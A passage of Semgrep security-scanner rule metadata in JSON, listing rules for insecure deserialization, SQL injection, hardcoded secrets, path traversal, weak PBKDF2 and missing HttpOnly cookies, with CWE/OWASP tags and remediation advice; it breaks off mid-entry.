[Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) The `pandas.read_hdf()` function uses `pickle` when the `fixed` format is used during serializing. This function should not be used with untrusted data."},"helpUri":"https://semgrep.dev/r/python.pyramid.deserialization.tainted-pandas-hdf-pyramid.tainted-pandas-hdf-pyramid","id":"python.pyramid.deserialization.tainted-pandas-hdf-pyramid.tainted-pandas-hdf-pyramid","name":"python.pyramid.deserialization.tainted-pandas-hdf-pyramid.tainted-pandas-hdf-pyramid","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.pyramid.deserialization.tainted-pandas-hdf-pyramid.tainted-pandas-hdf-pyramid"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. The driver API has the ability to bind parameters to the query in a safe way. Make sure not to dynamically create SQL queries from user-influenced inputs. If you cannot avoid this, either escape the data properly or create an allowlist to check the value."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. The driver API has the ability to bind parameters to the query in a safe way. Make sure not to dynamically create SQL queries from user-influenced inputs. If you cannot avoid this, either escape the data properly or create an allowlist to check the value.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.db.generic-sql-flask.generic-sql-flask)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. The driver API has the ability to bind parameters to the query in a safe way. Make sure not to dynamically create SQL queries from user-influenced inputs. If you cannot avoid this, either escape the data properly or create an allowlist to check the value."},"helpUri":"https://semgrep.dev/r/python.flask.db.generic-sql-flask.generic-sql-flask","id":"python.flask.db.generic-sql-flask.generic-sql-flask","name":"python.flask.db.generic-sql-flask.generic-sql-flask","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.db.generic-sql-flask.generic-sql-flask"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"PBKDF2 usage was identified with an insufficient work factor, i.e. an iteration count (rounds) lower than modern guidelines prescribe. Per OWASP guidance, 1.3M iterations should be used with SHA1"},"help":{"markdown":"PBKDF2 usage was identified with an insufficient work factor, i.e. an iteration count (rounds) lower than modern guidelines prescribe. Per OWASP guidance, 1.3M iterations should be used with SHA1\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.commoncrypto.insufficient-pbkdf2-work-factor-sha1.insufficient-pbkdf2-work-factor-sha1)\n - [https://mobile-security.gitbook.io/masvs/security-requirements/0x08-v3-cryptography_verification_requirements](https://mobile-security.gitbook.io/masvs/security-requirements/0x08-v3-cryptography_verification_requirements)\n - [https://pages.nist.gov/800-63-3/sp800-63b.html#sec5](https://pages.nist.gov/800-63-3/sp800-63b.html#sec5)\n","text":"PBKDF2 usage was identified with an insufficient work factor, i.e. an iteration count (rounds) lower than modern guidelines prescribe. Per OWASP guidance, 1.3M iterations should be used with SHA1"},"helpUri":"https://semgrep.dev/r/swift.commoncrypto.insufficient-pbkdf2-work-factor-sha1.insufficient-pbkdf2-work-factor-sha1","id":"swift.commoncrypto.insufficient-pbkdf2-work-factor-sha1.insufficient-pbkdf2-work-factor-sha1","name":"swift.commoncrypto.insufficient-pbkdf2-work-factor-sha1.insufficient-pbkdf2-work-factor-sha1","properties":{"precision":"very-high","tags":["CWE-916: Use of Password Hash With Insufficient Computational Effort","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","security"]},"shortDescription":{"text":"Semgrep Finding: swift.commoncrypto.insufficient-pbkdf2-work-factor-sha1.insufficient-pbkdf2-work-factor-sha1"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) The `dill` module allows arbitrary user defined classes and functions to be serialized. We do not recommend using it for unpickling data from untrusted sources. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) The `dill` module allows arbitrary user defined classes and functions to be serialized. We do not recommend using it for unpickling data from untrusted sources. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.pyramid.deserialization.tainted-dill-pyramid.tainted-dill-pyramid)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://pypi.org/project/dill/](https://pypi.org/project/dill/)\n - [https://dill.readthedocs.io/en/latest/index.html](https://dill.readthedocs.io/en/latest/index.html)\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) The `dill` module allows arbitrary user defined classes and functions to be serialized. We do not recommend using it for unpickling data from untrusted sources. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections."},"helpUri":"https://semgrep.dev/r/python.pyramid.deserialization.tainted-dill-pyramid.tainted-dill-pyramid","id":"python.pyramid.deserialization.tainted-dill-pyramid.tainted-dill-pyramid","name":"python.pyramid.deserialization.tainted-dill-pyramid.tainted-dill-pyramid","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.pyramid.deserialization.tainted-dill-pyramid.tainted-dill-pyramid"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected a cookie where the `HttpOnly` flag is either missing or disabled. The `HttpOnly` cookie flag instructs the browser to forbid client-side JavaScript to read the cookie. If JavaScript interaction is required, you can ignore this finding. However, set the `HttpOnly` flag to `true` in all other cases."},"help":{"markdown":"Detected a cookie where the `HttpOnly` flag is either missing or disabled. The `HttpOnly` cookie flag instructs the browser to forbid client-side JavaScript to read the cookie. If JavaScript interaction is required, you can ignore this finding. However, set the `HttpOnly` flag to `true` in all other cases.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.micronaut.audit.cookies.missing-httponly.missing-httponly)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n","text":"Detected a cookie where the `HttpOnly` flag is either missing or disabled. The `HttpOnly` cookie flag instructs the browser to forbid client-side JavaScript to read the cookie. If JavaScript interaction is required, you can ignore this finding. However, set the `HttpOnly` flag to `true` in all other cases."},"helpUri":"https://semgrep.dev/r/java.micronaut.audit.cookies.missing-httponly.missing-httponly","id":"java.micronaut.audit.cookies.missing-httponly.missing-httponly","name":"java.micronaut.audit.cookies.missing-httponly.missing-httponly","properties":{"precision":"very-high","tags":["CWE-1004: Sensitive Cookie Without 'HttpOnly' Flag","HIGH CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.micronaut.audit.cookies.missing-httponly.missing-httponly"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Key vault should have purge protection enabled"},"help":{"markdown":"Key vault should have purge protection enabled\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.azure.security.keyvault.keyvault-purge-enabled.keyvault-purge-enabled)\n - [https://registry.terraform.io/providers/hashicorp/azurerm/latest/docs/resources/key_vault#purge_protection_enabled](https://registry.terraform.io/providers/hashicorp/azurerm/latest/docs/resources/key_vault#purge_protection_enabled)\n - [https://docs.microsoft.com/en-us/azure/key-vault/general/soft-delete-overview#purge-protection](https://docs.microsoft.com/en-us/azure/key-vault/general/soft-delete-overview#purge-protection)\n","text":"Key vault should have purge protection enabled"},"helpUri":"https://semgrep.dev/r/terraform.azure.security.keyvault.keyvault-purge-enabled.keyvault-purge-enabled","id":"terraform.azure.security.keyvault.keyvault-purge-enabled.keyvault-purge-enabled","name":"terraform.azure.security.keyvault.keyvault-purge-enabled.keyvault-purge-enabled","properties":{"precision":"very-high","tags":["CWE-693: Protection Mechanism Failure","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.azure.security.keyvault.keyvault-purge-enabled.keyvault-purge-enabled"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"In $METHOD, $X is used to construct a SQL query via string concatenation."},"help":{"markdown":"In $METHOD, $X is used to construct a SQL query via string concatenation.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.jboss.security.session_sqli.find-sql-string-concatenation)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"In $METHOD, $X is used to construct a SQL query via string concatenation."},"helpUri":"https://semgrep.dev/r/java.jboss.security.session_sqli.find-sql-string-concatenation","id":"java.jboss.security.session_sqli.find-sql-string-concatenation","name":"java.jboss.security.session_sqli.find-sql-string-concatenation","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.jboss.security.session_sqli.find-sql-string-concatenation"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected input from a HTTPServletRequest going into the environment variables of an 'exec' command.  Instead, call the command with user-supplied arguments by using the overloaded method with one String array as the argument. `exec({\"command\", \"arg1\", \"arg2\"})`."},"help":{"markdown":"Detected input from a HTTPServletRequest going into the environment variables of an 'exec' command.  Instead, call the command with user-supplied arguments by using the overloaded method with one String array as the argument. `exec({\"command\", \"arg1\", \"arg2\"})`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.tainted-env-from-http-request.tainted-env-from-http-request)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Detected input from a HTTPServletRequest going into the environment variables of an 'exec' command.  Instead, call the command with user-supplied arguments by using the overloaded method with one String array as the argument. `exec({\"command\", \"arg1\", \"arg2\"})`."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.tainted-env-from-http-request.tainted-env-from-http-request","id":"java.lang.security.audit.tainted-env-from-http-request.tainted-env-from-http-request","name":"java.lang.security.audit.tainted-env-from-http-request.tainted-env-from-http-request","properties":{"precision":"very-high","tags":["CWE-454: External Initialization of Trusted Variables or Data Stores","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.tainted-env-from-http-request.tainted-env-from-http-request"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"AWS Access Key ID Value detected. This is a sensitive credential and should not be hardcoded here. Instead, read this value from an environment variable or keep it in a separate, private file."},"help":{"markdown":"AWS Access Key ID Value detected. This is a sensitive credential and should not be hardcoded here. Instead, read this value from an environment variable or keep it in a separate, private file.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.secrets.security.detected-aws-access-key-id-value.detected-aws-access-key-id-value)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"AWS Access Key ID Value detected. This is a sensitive credential and should not be hardcoded here. Instead, read this value from an environment variable or keep it in a separate, private file."},"helpUri":"https://semgrep.dev/r/generic.secrets.security.detected-aws-access-key-id-value.detected-aws-access-key-id-value","id":"generic.secrets.security.detected-aws-access-key-id-value.detected-aws-access-key-id-value","name":"generic.secrets.security.detected-aws-access-key-id-value.detected-aws-access-key-id-value","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","LOW CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: generic.secrets.security.detected-aws-access-key-id-value.detected-aws-access-key-id-value"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.aws-lambda.file.tainted-path-traversal-stdlib-aws-lambda.tainted-path-traversal-stdlib-aws-lambda)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files."},"helpUri":"https://semgrep.dev/r/python.aws-lambda.file.tainted-path-traversal-stdlib-aws-lambda.tainted-path-traversal-stdlib-aws-lambda","id":"python.aws-lambda.file.tainted-path-traversal-stdlib-aws-lambda.tainted-path-traversal-stdlib-aws-lambda","name":"python.aws-lambda.file.tainted-path-traversal-stdlib-aws-lambda.tainted-path-traversal-stdlib-aws-lambda","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.aws-lambda.file.tainted-path-traversal-stdlib-aws-lambda.tainted-path-traversal-stdlib-aws-lambda"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.okhttp.secrets.hardcoded-secret-in-request-header-decoded.hardcoded-secret-in-request-header-decoded)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/kotlin.okhttp.secrets.hardcoded-secret-in-request-header-decoded.hardcoded-secret-in-request-header-decoded","id":"kotlin.okhttp.secrets.hardcoded-secret-in-request-header-decoded.hardcoded-secret-in-request-header-decoded","name":"kotlin.okhttp.secrets.hardcoded-secret-in-request-header-decoded.hardcoded-secret-in-request-header-decoded","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.okhttp.secrets.hardcoded-secret-in-request-header-decoded.hardcoded-secret-in-request-header-decoded"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A hard-coded credential was detected. It is not recommended to store credentials in source-code, as this risks secrets being leaked and used by either an internal or external malicious adversary. It is recommended to use environment variables to securely provide credentials or retrieve credentials from a secure vault or HSM (Hardware Security Module)."},"help":{"markdown":"A hard-coded credential was detected. It is not recommended to store credentials in source-code, as this risks secrets being leaked and used by either an internal or external malicious adversary. It is recommended to use environment variables to securely provide credentials or retrieve credentials from a secure vault or HSM (Hardware Security Module).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.jwt-go.security.jwt.hardcoded-jwt-key)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A hard-coded credential was detected. It is not recommended to store credentials in source-code, as this risks secrets being leaked and used by either an internal or external malicious adversary. It is recommended to use environment variables to securely provide credentials or retrieve credentials from a secure vault or HSM (Hardware Security Module)."},"helpUri":"https://semgrep.dev/r/go.jwt-go.security.jwt.hardcoded-jwt-key","id":"go.jwt-go.security.jwt.hardcoded-jwt-key","name":"go.jwt-go.security.jwt.hardcoded-jwt-key","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","MEDIUM CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: go.jwt-go.security.jwt.hardcoded-jwt-key"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the file path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In PHP, this can lead to both local file inclusion (LFI) or remote file inclusion (RFI) if user input reaches this statement. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the file path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In PHP, this can lead to both local file inclusion (LFI) or remote file inclusion (RFI) if user input reaches this statement. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.laravel.security.laravel-path-traversal-storage.laravel-path-traversal-storage)\n - [https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Laravel_Cheat_Sheet.md#path-traversal](https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Laravel_Cheat_Sheet.md#path-traversal)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the file path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In PHP, this can lead to both local file inclusion (LFI) or remote file inclusion (RFI) if user input reaches this statement. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files."},"helpUri":"https://semgrep.dev/r/php.laravel.security.laravel-path-traversal-storage.laravel-path-traversal-storage","id":"php.laravel.security.laravel-path-traversal-storage.laravel-path-traversal-storage","name":"php.laravel.security.laravel-path-traversal-storage.laravel-path-traversal-storage","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","MEDIUM CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","OWASP-A06:2017 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: php.laravel.security.laravel-path-traversal-storage.laravel-path-traversal-storage"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.excon.ruby-excon-hardcoded-uri-secret.ruby-excon-hardcoded-uri-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/ruby.excon.ruby-excon-hardcoded-uri-secret.ruby-excon-hardcoded-uri-secret","id":"ruby.excon.ruby-excon-hardcoded-uri-secret.ruby-excon-hardcoded-uri-secret","name":"ruby.excon.ruby-excon-hardcoded-uri-secret.ruby-excon-hardcoded-uri-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.excon.ruby-excon-hardcoded-uri-secret.ruby-excon-hardcoded-uri-secret"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Found a formatted string in BashOperator: $CMD. This could be vulnerable to injection. Be extra sure your variables are not controllable by external sources."},"help":{"markdown":"Found a formatted string in BashOperator: $CMD. This could be vulnerable to injection. Be extra sure your variables are not controllable by external sources.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.airflow.security.audit.formatted-string-bashoperator.formatted-string-bashoperator)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Found a formatted string in BashOperator: $CMD. This could be vulnerable to injection. Be extra sure your variables are not controllable by external sources."},"helpUri":"https://semgrep.dev/r/python.airflow.security.audit.formatted-string-bashoperator.formatted-string-bashoperator","id":"python.airflow.security.audit.formatted-string-bashoperator.formatted-string-bashoperator","name":"python.airflow.security.audit.formatted-string-bashoperator.formatted-string-bashoperator","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","LOW CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.airflow.security.audit.formatted-string-bashoperator.formatted-string-bashoperator"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) The `numpy.load()` function allows `pickle` for object deserialization. This behaviour is turned off by default in version 1.16.3. Do not turn this on with `allow_pickle=True` when loading data from untrusted sources."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) The `numpy.load()` function allows `pickle` for object deserialization. This behaviour is turned off by default in version 1.16.3. Do not turn this on with `allow_pickle=True` when loading data from untrusted sources.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.pyramid.deserialization.tainted-numpy-pickle-pyramid.tainted-numpy-pickle-pyramid)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://numpy.org/doc/stable/reference/generated/numpy.load.html](https://numpy.org/doc/stable/reference/generated/numpy.load.html)\n - [https://redfoxsec.com/blog/insecure-deserialization-in-python/](https://redfoxsec.com/blog/insecure-deserialization-in-python/)\n - [https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html](https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html)\n - [https://docs.python.org/3/library/marshal.html](https://docs.python.org/3/library/marshal.html)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n - [https://www.exploit-db.com/exploits/49585](https://www.exploit-db.com/exploits/49585)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) The `numpy.load()` function allows `pickle` for object deserialization. This behaviour is turned off by default in version 1.16.3. Do not turn this on with `allow_pickle=True` when loading data from untrusted sources."},"helpUri":"https://semgrep.dev/r/python.pyramid.deserialization.tainted-numpy-pickle-pyramid.tainted-numpy-pickle-pyramid","id":"python.pyramid.deserialization.tainted-numpy-pickle-pyramid.tainted-numpy-pickle-pyramid","name":"python.pyramid.deserialization.tainted-numpy-pickle-pyramid.tainted-numpy-pickle-pyramid","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.pyramid.deserialization.tainted-numpy-pickle-pyramid.tainted-numpy-pickle-pyramid"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.pymongo.python-pymongo-hardcoded-secret.python-pymongo-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module 